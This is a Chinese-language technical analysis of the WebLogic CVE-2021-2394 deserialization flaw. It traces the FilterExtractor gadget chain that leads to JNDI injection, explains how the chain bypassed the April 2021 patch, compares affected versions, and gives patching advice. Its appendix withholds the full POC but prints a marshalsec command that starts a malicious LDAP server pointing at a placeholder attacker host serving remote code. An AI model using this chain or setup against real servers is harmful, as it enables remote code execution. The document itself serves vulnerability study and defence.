weblogic CVE-2021-2394 分析
字数 3016 2025-08-05 00:15:28

WebLogic CVE-2021-2394 漏洞分析与利用指南

漏洞概述

CVE-2021-2394是Oracle WebLogic Server中的一个高危反序列化漏洞,CVSS评分9.8分。该漏洞结合了CVE-2020-14756和CVE-2020-14825的反序列化链,利用FilterExtractor类绕过2021年4月的安全补丁,可通过T3和IIOP协议执行远程代码。

受影响版本

  • WebLogic 10.3.6.0.0
  • WebLogic 12.1.3.0.0
  • WebLogic 12.2.1.3.0
  • WebLogic 12.2.1.4.0
  • WebLogic 14.1.1.0.0

补丁回顾

在2021年4月的补丁中,Oracle修改了ExternalizableHelper中的readExternalizable方法,增加了对传入的DataInput类型的判断。如果是ObjectInputStream类型就会调用checkObjectInputFilter函数进行过滤,这使得直接反序列化com.tangosol.coherence.rest.util.extractor.MvelExtractor来造成RCE的方法失效。

调试环境搭建

  1. 系统环境:Win7虚拟机 + WebLogic 12.1.4 + JDK 8u181
  2. 修改user_project/domains/base_domain/bin/setDomainEnv.cmd,在if %debugFlag == "true"%之前加入set debugFlag=true
  3. 将Oracle_Home目录下所有文件拷贝至调试目录
  4. \coherence\lib\oracle_common\modules目录下所有文件添加到IDE的Libraries
  5. 配置IDE中的JDK版本与虚拟机中运行的WebLogic JDK版本保持一致
  6. 添加Remote调试配置

漏洞利用原理

关键类分析

FilterExtractor类特征:

  1. 实现了ExternalizableLite接口,重写了readExternal方法
  2. readExternal方法会调用oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper.readAttributeAccessor
  3. 直接new一个MethodAttributeAccessor对象,不受黑名单限制
  4. extract方法中存在this.attributeAccessor.getAttributeValueFromObject()调用

绕过机制

虽然MethodAttributeAccessor已在黑名单中,但FilterExtractorreadExternal方法直接new了一个MethodAttributeAccessor对象,而不是通过反序列化得到,因此不受黑名单影响。

完整调用链

AttributeHolder.readExternal()
→ ExternalizableHelper.readObject()
→ ExternalizableHelper.readObjectInternal()
→ ExternalizableHelper.readExternalizableLite()
→ TopNAggregator.PartialResult.readExternal()
→ ExternalizableHelper.readObject()
→ ExternalizableHelper.readExternalizableLite()
→ FilterExtractor.readExternal()
→ SerializationHelper.readAttributeAccessor()
→ new MethodAttributeAccessor()
→ MethodAttributeAccessor.setAttributeName()
→ MethodAttributeAccessor.setGetMethodName()
→ MethodAttributeAccessor.setSetMethodName()
→ TopNAggregator.PartialResult.instantiateInternalMap()
→ WrapperComparator.compare()
→ FilterExtractor.compare()
→ FilterExtractor.extract()
→ MethodAttributeAccessor.getAttributeValueFromObject()
→ JdbcRowSetImpl.prepare()
→ JNDI注入

详细漏洞分析

  1. 反序列化过程从AttributeHolder.readExternal()开始
  2. 通过ExternalizableHelper读取TopNAggregator.PartialResult对象
  3. PartialResult.readExternal()中读取FilterExtractor对象作为比较器
  4. FilterExtractor.readExternal()创建MethodAttributeAccessor并设置其属性
  5. 当添加元素到PartialResult时触发比较操作
  6. 比较操作最终调用MethodAttributeAccessor.getAttributeValueFromObject()
  7. 通过反射调用JdbcRowSetImpl.prepare()方法导致JNDI注入

JNDI注入实现

  1. 攻击者构造恶意序列化数据,其中包含指向攻击者控制的LDAP服务器的JdbcRowSetImpl对象
  2. WebLogic反序列化时触发漏洞
  3. 受害者服务器向攻击者的LDAP服务器发起请求
  4. LDAP服务器返回恶意Java类的引用
  5. 受害者服务器从攻击者控制的HTTP服务器下载并执行恶意代码

注意:在Oracle JDK 11.0.1、8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,导致LDAP+JNDI的RCE方法失效。

版本兼容性问题

测试发现不同WebLogic版本的JAR包存在兼容性问题:

JAR版本 WebLogic版本 成功情况
12.1.3.0.0 12.1.3.0.0 成功
12.1.3.0.0 12.2.1.3.0 失败
12.2.1.3.0 12.2.1.3.0 成功
12.2.1.3.0 14.1.1.0.0 成功
14.1.1.0.0 14.1.1.0.0 成功

特别地,10.3.6.0.0版本中缺少com.tangosol.util.SortedBagcom.tangosol.util.aggregator.TopNAggregator类,无法直接使用基于TopNAggregator.PartialResult的POC。

2021年7月补丁影响

7月补丁在WebLogicFilterConfig类的DEFAULT_BLACKLIST_PACKAGES字段中新增了oracle.eclipselink.coherence.integrated.internal.querying包,而FilterExtractor类正好在此包下,因此被黑名单拦截。

修复建议

通用修补建议

Oracle官方已发布补丁,应及时更新:
https://www.oracle.com/security-alerts/cpujul2021.html

临时修补建议

  1. 如果不依赖T3协议进行JVM通信,可禁用T3协议
  2. 如果不依赖IIOP协议进行JVM通信,可禁用IIOP协议

参考资源

  1. https://www.cnblogs.com/potatsoSec/p/15062094.html
  2. https://mp.weixin.qq.com/s/LbMB-2Qyrh3Lrqc_vsKIdA

附录:漏洞验证POC

(注:出于安全考虑,此处不提供完整攻击代码,仅描述原理)

POC主要包含以下关键组件:

  1. 恶意序列化的TopNAggregator.PartialResult对象
  2. 包含FilterExtractorMethodAttributeAccessor的构造
  3. 指向攻击者控制LDAP服务器的JdbcRowSetImpl对象

验证时可使用marshalsec搭建恶意JNDI服务端:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-ip:8000/#evil 1389
python -m http.server
WebLogic CVE-2021-2394 漏洞分析与利用指南 漏洞概述 CVE-2021-2394是Oracle WebLogic Server中的一个高危反序列化漏洞,CVSS评分9.8分。该漏洞结合了CVE-2020-14756和CVE-2020-14825的反序列化链,利用FilterExtractor类绕过2021年4月的安全补丁,可通过T3和IIOP协议执行远程代码。 受影响版本 WebLogic 10.3.6.0.0 WebLogic 12.1.3.0.0 WebLogic 12.2.1.3.0 WebLogic 12.2.1.4.0 WebLogic 14.1.1.0.0 补丁回顾 在2021年4月的补丁中,Oracle修改了 ExternalizableHelper 中的 readExternalizable 方法,增加了对传入的 DataInput 类型的判断。如果是 ObjectInputStream 类型就会调用 checkObjectInputFilter 函数进行过滤,这使得直接反序列化 com.tangosol.coherence.rest.util.extractor.MvelExtractor 来造成RCE的方法失效。 调试环境搭建 系统环境:Win7虚拟机 + WebLogic 12.1.4 + JDK 8u181 修改 user_project/domains/base_domain/bin/setDomainEnv.cmd ,在 if %debugFlag == "true"% 之前加入 set debugFlag=true 将Oracle_ Home目录下所有文件拷贝至调试目录 将 \coherence\lib 和 \oracle_common\modules 目录下所有文件添加到IDE的Libraries 配置IDE中的JDK版本与虚拟机中运行的WebLogic JDK版本保持一致 添加Remote调试配置 漏洞利用原理 关键类分析 FilterExtractor类特征: 实现了 ExternalizableLite 接口,重写了 readExternal 方法 readExternal 方法会调用 oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper.readAttributeAccessor 直接new一个 MethodAttributeAccessor 对象,不受黑名单限制 extract 方法中存在 this.attributeAccessor.getAttributeValueFromObject() 调用 绕过机制 虽然 MethodAttributeAccessor 已在黑名单中,但 FilterExtractor 的 readExternal 方法直接new了一个 MethodAttributeAccessor 对象,而不是通过反序列化得到,因此不受黑名单影响。 完整调用链 详细漏洞分析 反序列化过程从 AttributeHolder.readExternal() 开始 通过 ExternalizableHelper 读取 TopNAggregator.PartialResult 对象 PartialResult.readExternal() 中读取 FilterExtractor 对象作为比较器 FilterExtractor.readExternal() 创建 MethodAttributeAccessor 并设置其属性 当添加元素到 PartialResult 时触发比较操作 比较操作最终调用 MethodAttributeAccessor.getAttributeValueFromObject() 通过反射调用 JdbcRowSetImpl.prepare() 方法导致JNDI注入 JNDI注入实现 攻击者构造恶意序列化数据,其中包含指向攻击者控制的LDAP服务器的JdbcRowSetImpl对象 WebLogic反序列化时触发漏洞 受害者服务器向攻击者的LDAP服务器发起请求 LDAP服务器返回恶意Java类的引用 受害者服务器从攻击者控制的HTTP服务器下载并执行恶意代码 注意 :在Oracle JDK 11.0.1、8u191、7u201、6u211之后, com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为false,导致LDAP+JNDI的RCE方法失效。 版本兼容性问题 测试发现不同WebLogic版本的JAR包存在兼容性问题: | JAR版本 | WebLogic版本 | 成功情况 | |---------------|-------------|---------| | 12.1.3.0.0 | 12.1.3.0.0 | 成功 | | 12.1.3.0.0 | 12.2.1.3.0 | 失败 | | 12.2.1.3.0 | 12.2.1.3.0 | 成功 | | 12.2.1.3.0 | 14.1.1.0.0 | 成功 | | 14.1.1.0.0 | 14.1.1.0.0 | 成功 | 特别地,10.3.6.0.0版本中缺少 com.tangosol.util.SortedBag 和 com.tangosol.util.aggregator.TopNAggregator 类,无法直接使用基于 TopNAggregator.PartialResult 的POC。 2021年7月补丁影响 7月补丁在 WebLogicFilterConfig 类的 DEFAULT_BLACKLIST_PACKAGES 字段中新增了 oracle.eclipselink.coherence.integrated.internal.querying 包,而 FilterExtractor 类正好在此包下,因此被黑名单拦截。 修复建议 通用修补建议 Oracle官方已发布补丁,应及时更新: https://www.oracle.com/security-alerts/cpujul2021.html 临时修补建议 如果不依赖T3协议进行JVM通信,可禁用T3协议 如果不依赖IIOP协议进行JVM通信,可禁用IIOP协议 参考资源 https://www.cnblogs.com/potatsoSec/p/15062094.html https://mp.weixin.qq.com/s/LbMB-2Qyrh3Lrqc_ vsKIdA 附录:漏洞验证POC (注:出于安全考虑,此处不提供完整攻击代码,仅描述原理) POC主要包含以下关键组件: 恶意序列化的 TopNAggregator.PartialResult 对象 包含 FilterExtractor 和 MethodAttributeAccessor 的构造 指向攻击者控制LDAP服务器的 JdbcRowSetImpl 对象 验证时可使用marshalsec搭建恶意JNDI服务端: